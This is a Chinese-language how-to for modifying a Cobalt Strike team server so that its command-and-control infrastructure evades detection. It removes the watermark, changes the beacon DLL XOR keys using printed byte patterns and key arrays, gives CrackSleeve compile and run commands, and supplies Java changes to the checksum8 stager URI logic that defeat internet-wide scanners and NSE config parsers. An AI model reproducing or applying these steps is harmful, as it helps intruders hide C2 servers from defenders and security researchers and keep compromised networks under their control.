1.Patch(忽略)
2.修改listenConfig去水印
3.启用USB/CD AutoPlay和Windows Dropper旧功能和直接导出Beacon.dll
4.端口证书修改
5.修改dll中的异或密钥,防止直接被nse脚本扫描出信息
6.基本profile配置
7.修改uri checksum8算法,防止通过爆破URI下载到stage
2.修改listenConfig去水印
3.启用旧功能 AutoPlay和Windows Dropper和导出Beacon.dll
4.端口证书修改
6.基本profile配置
2.修改listenConfig去水印
https://mp.weixin.qq.com/s?__biz=MzUzODU3ODA0MA==&mid=2247486179&idx=1&sn=5882ce0270b6e4065f3d4eeb1b139f05&chksm=fad4d7f4cda35ee2e6e7b8bd878eb9e6e5be96e9c35873f8938beafb0e65aa54293159e247da&token=120402682&lang=zh_CN#rd
3.CS部分功能启用
https://wbglil.gitbook.io/cobalt-strike/cobalt-strikekuo-zhan/cs-bu-fen-gong-neng-qi-yong
4.端口证书修改
Cobalt Strike特征性信息修改玩转防火墙设备
https://mp.weixin.qq.com/s/lEOoQekdKhuftwBg00IuiQ
6.基本profile配置
Cobalt Strike Malleable C2 配置
https://www.chabug.org/web/832.html
2.修改dll中的异或密钥,防止直接被nse脚本扫描出信息
7.修改uri checksum8算法,防止通过爆破URI下载到stage
Beacon Staging Server 就是分阶段模式中,提供shellcode等功能扩展存储的Stage服务器。
Beacon Staging Server的作用是为了防止Payload过大或者适应不同的攻击场景,可以分阶段进行payload投递。
首先通过投递一个被称为stager的小巧的payload,然后去Beacon staging server下载体积较大更复杂的stage,并且访问stage的URL通过checksum8进行校验。
由Windows Execute 模块生成的是Stager。
stager上线逻辑:
——>运行stager
——>自动生成并访问符合checksum8校验的URI进行远程下载stage
——>上线
发现Beacon Staging Server:
浅析CobaltStrike Beacon Staging Server扫描
https://mp.weixin.qq.com/s?__biz=Mzk0NzE4MDE2NA==&mid=2247483756&idx=1&sn=4e48f8f4b724b5dc723c7cec04f5a34e&scene=21
如何识别恶意Cobalt Strike服务器
https://mp.weixin.qq.com/s/3gjifvYZttoRWPCEVY99Xg
由于XXX空间测绘已经扫描了全网的Stager Beacon Server,为了个人服务器的隐蔽性,我们需要对抗其中的扫描检测算法。
检测绕过方向:
目前主要是两个修改方向:
1.修改checkSum8算法,使得按照默认的checkSum8 URI无法下载stage文件。
2.修改内部beacon的解密密钥,使得NSE解析脚本无法解析下载到的stage的信息。
曲线救国:每次手动kill掉site管理中的stage和stage64
经过测试两种修改方式方向不同,可以都进行修改,实现stage无法被轻易下载,实现stage无法被轻易解密。
存在问题:
通过爆破解密密钥,依旧能够实现解密。
Bypass cobaltstrike beacon config scan
https://mp.weixin.qq.com/s/fhcTTWV4Ddz4h9KxHVRcnw
#dll XOR密钥函数所对应二进制位置
#已知适用于4.1与4.2
beacon.dll 80 B0 10 10 03 10 2E 40 3D 00 10 00 7C F1 68
dnsb.dll 80 B0 10 10 03 10 2E 40 3D 00 10 00 00 7C F1 68
extc2.dll 80 B0 10 00 03 10 2E 40 3D 00 10 00 00 7C F1 68
pivot.dll 80 B0 10 10 03 10 2E 40 3D 00 10 00 00 7C F1 68
dnsb.x64.dll 80 34 28 2E 48 FF C0 48 3D 00 10 00 00 7C F1 48
extc2.x64.dll 80 34 28 2E 48 FF C0 48 3D 00 10 00 00 7C F1 48
beacon.x64.dll 80 34 28 2E 48 FF C0 48 3D 00 10 00 00 7C F1 48
pivot.x64.dll 80 34 28 2E 48 FF C0 48 3D 00 10 00 00 7C F1 48
加解密DLL文件:
private static byte[] OriginKey = {27,-27,-66, 82,-58,37,92,51,85,-114,-118,28,-74,103,-53,6};
private static byte[] OriginKey = {-78, 13, 72, 122, -35, -44, 113, 52, 24, -14, -43, -93, -82, 2, -89, -96};
javac -encoding UTF-8 -classpath cobaltstrike.jar CrackSleeve.java
java -classpath cobaltstrike.jar;./ CrackSleeve decode
#还原dll文件java -classpath cobaltstrike.jar;./ CrackSleeve encode
1.修改checkSum8的92L与93L为非默认的值,从而加大连接获取难度。
缺点:最多进过256次破解,也能够导致stage被下载。
2.通过修改sum值算法,固定下载URI,这样只有指定的uri可以获取到下载连接
缺点:更换URI需要重新编译计算sum值。
Beacon Stager listener 去特征
https://mp.weixin.qq.com/s/HibtLfikI_0ezcLVCRxqaA
关于CobaltStrike的Stager被扫问题
https://mp.weixin.qq.com/s/0MPM3bysJJYr5jbRnES_Vg
实现过程中发现上述教程中修改cloudstrike\WebServer.java文件后,都需要配置C2-Profile文件中的stage set uri才能够正常上线。
该实现明显不符合beacon上线逻辑。
public static long checksum8(String text)
{
...
//return sum % 256L;
return sum;
}
public static boolean isStager(String uri) {
return checksum8(uri) == 25**L; //368a373e5cc0fe41489************.png
}
public static boolean isStagerX64(String uri) {
return checksum8(uri) == 26**L;//37346ddeb281f8b5d2d************.png
}
#其中37346ddeb281f8b5d2d************等是我随机生成的两个字符串,****打码。
#其中26**L是根据37346ddeb281f8b5d2d************.png字符串计算出来的sum值
CommonUtils具体修改 :
public static String MSFURI(int var0) {
return "368a373e5cc0fe41489************.png";}
public static String MSFURI_X64() {
return "37346ddeb281f8b5d2d************.png";}
http://cs-ip:stage-port/368a373e5cc0fe41489b867095f****.png
http://cs-ip:stage-port/37346ddeb281f8b5d2d0cad2917c****.png
END